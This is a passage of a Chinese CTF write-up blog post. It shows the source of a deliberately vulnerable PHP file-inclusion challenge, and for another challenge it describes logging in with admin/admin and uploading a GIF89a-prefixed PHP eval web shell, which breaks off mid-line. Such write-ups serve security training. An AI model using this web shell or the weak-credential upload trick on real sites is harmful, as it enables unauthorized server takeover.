[2020hxb] 部分wp

本文分享了在CTF比赛中遇到的Web题目,包括通过phpinfo找到漏洞,利用弱密码进入后台,以及尝试上传shell的技巧。在crypto部分,涉及维吉尼亚加密的解密过程。此外,还提到了misc类问题,涉及到流量分析、base64隐写和解密技巧。
摘要由CSDN通过智能技术生成

web

web1 题目名字不重要反正题挺简单的

就在phpinfo里面 。。。。

源码放一下 感觉200分没这么好拿的样子,可能有别的解法。

<?php
error_reporting(0);

//I heard you are good at PHPINFO+LFI, flag is in flag.php, find it my dear noob vegetable hacker.
if ( isset($_GET['file']) ) {
   
    $file = $_GET['file'];
    
    if ( $file === "phpinfo" ) {
   
        phpinfo();
        exit;
    }

    if ( preg_match('/proc/i' , $file) ) {
   
        die("private");
    }

    $file = "/var/www/html/" . $file;
    $content = file_get_contents($file);

    if ( !$content ) {
   
        die("nothing");
    }

    if ( preg_match("/script|<\?/i", $content) ) {
   
        die("bypass me");
    }

    include_once $file;

} else {
   
    highlight_file(__FILE__);
}

web4

直接/admin进入后台界面
在这里插入图片描述
弱密码
admin/admin

登录后台,直接点击不了,直接源代码里面去点

进入管理员资料管理

http://47.111.104.99:50400/admin/?r=manageinfo

上传图片

GIF89a
<script language="php">eval($_POST[
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值